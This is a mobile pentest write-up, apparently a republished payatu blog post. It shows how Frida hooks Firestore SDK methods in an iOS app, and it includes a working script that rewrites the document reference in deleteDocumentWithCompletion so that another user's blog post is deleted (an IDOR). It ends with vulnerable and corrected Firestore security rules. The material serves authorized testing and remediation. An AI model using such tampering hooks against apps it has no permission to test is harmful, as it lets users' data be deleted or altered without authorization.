Chronicles of a Pentester (Frida Edition)
Chapter 1: Trial by FirestoreIntroductionPrologueAtypical two-tier architecture of the Fire 2026-6-22 09:30:14 Author: payatu.com(查看原文) 阅读量:3 收藏

Chapter 1: Trial by Firestore

Introduction

Frida is a toolkit that enables dynamic interaction with running programs on Android/iOS and other platforms as well. The principle behind Frida is that it allows you to interact with a targeted running process by injecting arbitrary JavaScript scripts into it.

Frida scripts can ‘hook’ into the methods of classes present in the code and alter various elements during application runtime, such as the returned value or the input arguments. In this way, the internal logic of the program can be modified without touching the binary. This process is called method hooking.

Frida has a wide range of uses but during a mobile application pentest, it is mainly used to bypass security mechanisms that could hinder the audit or to exploit vulnerabilities without having to modify the application code.

While Frida is commonly associated with tasks like SSL pinning bypasses or bypassing root detection, Chronicles of a Pentester deliberately looks beyond these well-documented paths.

This chapter chronicles my first encounter with a mobile application built around Firestore RPCs for state-changing operations, and the unconventional use of Frida that enabled their analysis and manipulation. For an introduction to frida and its toolset, please check out this blog.

Prologue

The target was a mobile application that used a Firestore SDK for most of its CRUD operations: we could intercept most REST API based HTTPS traffic in Burp, but a lot of the communication that happened using gRPC-over-HTTP/2 (which Firestore uses) often bypassed our Burp Suite Proxy.

Cloud Firestore is a fast, fully managed, serverless, cloud-native NoSQL document database that simplifies storing, syncing, and querying data for mobile, web, and IoT apps on a global scale. Its client libraries provide live synchronization and offline support, while its security features and integrations with Firebase and Google Cloud Platform accelerate development of serverless apps.

The application interacts with a server using REST APIs for certain modules; however, firestore RPCs came into play for most state-changing requests or user actions. For these interactions, the firebase SDK integrated in the application communicated directly with the cloud firestore (database tier) and the equivalent of the logic tier/server-side controls can be appropriated to firebase authentication and firebase security rules.

Atypical two-tier architecture of the Firestore Mobile SDK

Serverless app architecture with firestore

Firebase supports SDKs for Android, iOS, and web. Combined with Firebase security rules and Firebase Auth, the mobile and web SDKs support serverless app architectures where clients connect directly to your Firebase database. With serverless architecture, you don’t need to maintain an intermediary server between your clients and your Firebase database.

The Challenge

While attempting to intercept the APIs associated with almost any state changing CRUD operation in the target application, we observed that no information was logged in the proxy. This could mean either that parts of the application were proxy unaware or the proxy did not support the specific protocol in use for these firestore RPC APIs that used gRPC as the underlying protocol. Most requests using gRPC-over-HTTP/2 failed silently or bypassed proxy applications like BurpSuite.

There were only a couple of APIs that used gRPC which were logged in the BurpSuite proxy. The URL path of one of these APIs pointed to Write/Listen calls to firestore.googleapis.com and the request body referenced a database. What are these firestore write/listen requests? Where are the REST of the APIs?

Well, if you don’t see state-changing actions (blog update, delete, etc) in any of the requests logged in BurpSuite then how is this communication taking place?

Interestingly, the Write and Listen requests bound for firestore.googleapis.com did not directly align with individual user actions, raising the question of how seemingly discrete CRUD operations were actually being transmitted.

After inspecting the gRPC traffic in Burp Suite, what we uncovered so far is that both the Android and iOS versions of the application generate requests containing the following properties:

  • Use HTTP/2
  • Content-type: application/grpc
  • Host: Google-owned firestore domains (e.g., firestore.googleapis.com)
  • Request Path contains calls to Listen or Write:
  • Appear to be asynchronous in nature

google.firestore.v1.Firestore/Listen

google.firestore.v1.Firestore/Write

Based on this information, both the iOS and Android applications appear to have firebase SDK integration that communicates with cloud firestore.

the application generate requests containing the following properties:

  • Use HTTP/2
  • Content-type: application/grpc
  • Host: Google-owned firestore domains (e.g., firestore.googleapis.com)
  • Request Path contains calls to Listen or Write:
  • Appear to be asynchronous in nature

google.firestore.v1.Firestore/Listen

google.firestore.v1.Firestore/Write

Based on this information, both the iOS and Android applications appear to have firebase SDK integration that communicates with cloud firestore.

In addition to traffic inspection, static analysis can be used to confirm the presence of the Firestore SDK and its associated classes within the iOS and Android application.

Static Analysis on iOS

  1. Extract the contents of the IPA and inspect embedded frameworks.
  2. Look for libraries such as:
    • FirebaseFirestore
    • FirebaseAuth

The presence of these libraries indicates a high likelihood Firebase SDK integration. The following screenshot highlights these classes identified using Ghidra – a reverse engineering and binary analysis utility.

Static Analysis on Android

  1. Disassemble the APK and inspect embedded frameworks.
  2. Look for classes such as:
    • com.google.firebase.firestore.FirebaseFirestore
    • com.google.firebase.firestore.FirebaseAuth

The presence of these classes indicates a high likelihood Firebase SDK integration. The following screenshot highlights these classes identified using Jadx GUI – a java decompiler tool.

Under the hood: How firestore SDK calls become gRPC traffic

The iOS/Android application code does not directly invoke the gRPC layer. Instead, the flow looks like:

AppCode → Firestore SDK → Firestore gRPC Service → Cloud Firestore Backend

From a pentesting perspective, the key point is that the app interacts with SDK objects, while the SDK handles the underlying gRPC communication. Internally, the Firestore SDK:

  • Uses gRPC over HTTP/2
  • Serializes data using Protocol Buffers
  • Converts the object into Firestore’s Protobuf format
  • Sends it to cloud firestore through Write gRPC calls

Firestore updates data objects locally on the device before syncing with the cloud, a feature known as latency compensation. When you perform a write operation, active Firebase snapshot listeners are notified with the new data locally (local snapshot). The UI remains responsive, while the changes are communicated asynchronously i.e. the google.firestore.v1.Firestore/Write and google.firestore.v1.Firestore/Listen calls that were logged in BurpSuite, as documented earlier.

The Conquest

Faced with the challenge of a first-time encounter with a client-direct-to-firestore architecture, we needed to find a way to peek into these firestore RPCs and gain the ability tweak them to test our attack scenarios.

After consulting the Firestore documentation and a productive discussion with an LLM companion, we narrowed our search to the Firestore SDK classes and methods most likely to serve as effective Frida hook points.

DocumentReference refers to a document location in a Firestore database and can be used to write, read, or listen for changes to that document.

  • On Android/Java, the equivalent class is part of com.google.firestore.v1.Document.
  • On iOS (Objective-C/Swift), the Firebase SDK exposes a class that can be hooked into at runtime, named FIRDocumentReference.
  • This class represents a pointer to a Firestore document and gives you methods like:
    • -setData: write/update a document
    • -getDocumentWithCompletion: fetch a document
    • -deleteDocumentWithCompletion: remove a document

The next objective then was to identify the methods responsible for these firestore SDK operations so they could be instrumented with Frida.

Identifying frida hook points

As documented earlier, we reverse engineering the iOS application’s executable binary using Ghidra to identify the integration of the Firebase SDK.

This Ghidra CodeBrowser screenshot shows imported Firebase frameworks (like FirebaseAuth and FirebaseFirestore) highlighted in the Symbol Tree on the left, and an Objective-C message send (objc_msgSend) calling deleteDocumentWithCompletion: highlighted in the Decompile view on the right, indicating one of the target methods for our Frida hook.

In addition, frida-trace can also be leveraged to analyze firestore SDK class invocations. The following screenshot shows the usage of this tool with the Android variant of the application.

The frida-trace command attaches to the target application and automatically generates tracing hooks for all methods in java classes matching the wildcard pattern com.google.firebase.firestore.Docu*!, allowing runtime observation of Firestore document-related operations.

The objective was to trace Firestore SDK invocations during runtime while the user performs state-changing actions within the Android application, such as creating or deleting a blog post. The highlighted DocumentReference invocation, backed by a FirebaseFirestore instance, confirms that these operations are handled by the Firestore SDK and reveals a promising candidate for subsequent Frida hooking scripts.

Observing firestore activity

Armed with the information about the classes and methods that need to be hooked into and with some LLM magic, we came up with the following script that dumps arguments when firestore document methods like setData, deleteDocumentWithCompletion and more are called by the application. Hereafter, the frida scripts and screenshots are associated with the iOS variant of the application.

if (ObjC.available) {

const FIRDoc = ObjC.classes.FIRDocumentReference;

if (!FIRDoc) {

console.log('FIRDocumentReference not found');

return;

}

function logDocInfo(selfPtr, label) {

try {

const doc = new ObjC.Object(selfPtr);

const path = doc.path ? doc.path().toString() : 'unknown';

const docID = doc.documentID ? doc.documentID().toString() : 'unknown';

console.log(`${label} | path: ${path}, docID: ${docID}`);

} catch (err) {

console.log(`Error logging ${label}: ${err.message}`);

}

}

const methodsToHook = [

'- deleteDocument',

'- deleteDocumentWithCompletion:',

'- setData:',

'- setData:completion:',

'- updateData:',

'- updateData:completion:',

'- getDocumentWithCompletion:',

'- getDocumentWithSource:completion:'

];

methodsToHook.forEach(methodName => {

const method = FIRDoc[methodName];

if (method) {

Interceptor.attach(method.implementation, {

onEnter(args) {

logDocInfo(args[0], methodName);

}

});

} else {

console.log(`Method not found: ${methodName}`);

}

});

} else {

console.log('Objective-C runtime not available');

}

Here is an example of the information logged by our frida script when the specified methods are invoked by the iOS application.

You can see that the script prints the document path and the document ID, in this case the ID is a complex alphanumeric string and is part of the path. The path starts with the string user_details, so it is likely that the document ID is the user identifier.

The frida script was attached to the application process, and we updated the user profile information for the logged-in user. That was the reason for the updateData:completion method being invoked by the firestore SDK integrated within the application.

For context, the application was an internal blogging and environmental awareness platform that allowed users to create posts, comment, and react to others’ content.

Modifying firestore documents

To demonstrate an attack scenario, we tested for IDOR by modifying the firestore document to delete another user’s blog in the application. For the blog update/delete firebase RPC, the path starts with user_posts and what follows is likely the blog post identifier.

The blog identifiers are complex alphanumeric strings that aren’t easily guessable but accessing or refreshing the blog feed in the application resulted in a REST API call that discloses the blog identifiers.

The following screenshot demonstrates a close representation of what a user sees after logging to the application and accessing the blog functionality.

Intercepting traffic for the subsequent API request results in the highlighted response that contains the username and post_id fields for one of the blogs.

With our trusty LLM companion doing the heavy lifting of writing code, we developed another Frida script to hook into the firestore class method deleteDocumentWithCompletion which is involved in the blog post deletion functionality.

// Replace with your desired document ID and path

const newBlogId = "1746689066427_04ZcbOKjJ3YE3J22ag8JIxgEWsw1";

const newPath = `user_posts/${newBlogId}`;

if (ObjC.classes.FIRDocumentReference && ObjC.classes.FIRDocumentReference["- deleteDocumentWithCompletion:"]) {

const method = ObjC.classes.FIRDocumentReference["- deleteDocumentWithCompletion:"].implementation;

Interceptor.attach(method, {

onEnter: function (args) {

const receiver = new ObjC.Object(args[0]);

try {

const originalPath = receiver.path().toString();

const originalDocID = receiver.documentID().toString();

console.log("📄 deleteDocumentWithCompletion:");

console.log("│ 🆔 docID:", originalDocID);

console.log("│ 📂 path:", originalPath);

// === Replacement logic ===

const cls = ObjC.classes.FIRFirestore;

const firestore = receiver.firestore();

const newDocRef = firestore.documentWithPath_(newPath);

if (newDocRef) {

args[0] = newDocRef.handle;

console.log(`🛠️ Replaced with path: ${newPath}`);

} else {

console.log("❌ Failed to create new FIRDocumentReference");

}

} catch (e) {

console.log("❌ Error in handler:", e);

}

}

});

} else {

console.log("❌ FIRDocumentReference or deleteDocumentWithCompletion: not found");

}

This frida script is essentially replacing the original blog_id with the blog_id that belongs to the targeted user “User123”. Once this script is attached to the target application – it listens for the specified method deleteDocumentWithCompletion and upon invocation, the original Doc ID and path of the document being deleted is printed on screen before the Doc ID is replaced with User123’s blog ID specified in the script.

To test for an IDOR esque vulnerability by deleting a specific blog posted by User123, we need to invoke a call to the deleteDocumentWithCompletion method. To enable that, log in as the adversary and delete any blog post belonging to the current user.

The frida script logs calls to deleteDocumentWithCompletion and also logs the original docID and path of the blog post being deleted. It then replaces path with the docID i.e. the blog post ID specified in the script

Back in the application, note that the targeted blog post was deleted successfully.

By tampering the blog identifiers in the firestore RPCs, an adversary could modify/delete the posts that were created by another user. Another business logic flaw was discovered that allows users to programmatically increase or decrease the likes counter for any post to any arbitrary number.

This was due to missing access controls that can be implemented via Firestore Security Rules.

Since there’s no typical application server enforcing business logic or access control, security must be handled using Firebase’s built-in security rules.

Epilogue

Conforming to the concept of least privilege is critical for securing application backends that consist of cloud firestore. Access controls should be enforced for allowing users to only view and modify the data required for objects and functions associated with their account and role.

The following example is an interpretation of a common misconfiguration in Firebase Security Rules. While the rule verifies that a user is authenticated, it does not validate ownership of the requested resource. This exposes the application to access control vulnerabilities like insecure direct object references (IDOR) by allowing authenticated users to access or modify data belonging to other users.

match /databases/{database}/documents {

// VULNERABLE TO IDOR: Checks authentication, but ignores uid matching

match /invoices/{invoiceId} {

allow read, write: if request.auth != null;

}

}

The following rule enforces both authentication and authorization, ensuring that access decisions are based on resource ownership rather than the presence of a valid user session alone. This prevents authenticated users from accessing or modifying data belonging to other accounts.

match /databases/{database}/documents {

// Prevent IDOR like bugs: Ensure users can only read/write documents they own

match /users/{userId}/records/{recordId} {

allow read, update, delete: if request.auth != null && request.auth.uid == userId;

allow create: if request.auth != null && request.auth.uid == userId;

}

}

Initially, the client implemented the required firebase security rules in the application’s backend to enforce user object level authorization and additionally, validation for the business logic vulnerability. In future application releases however, the developers decided to migrate all significant CRUD operations to REST APIs in place of the cloud firestore RPCs.

Thus concludes the Trial by Firestore. Yet beyond its gates lay maiden encounters with equally stern challenges.

In the chapters to come, we shall chronicle the Breach of Request Integrity, where mechanisms designed to verify the authenticity of requests were examined, challenged, and ultimately bypassed. Thereafter follows Ciphertext Circumvention, a tale of encryption and the techniques used to observe and manipulate information in plaintext before it could be concealed in ciphertext.

Reference(s):

FirebaseFirestore Framework Reference

DocumentReference  |  Firebase SDKs for Android


文章来源: https://payatu.com/blog/chronicles-of-a-pentester-frida-edition/
如有侵权请联系:admin#unsafe.sh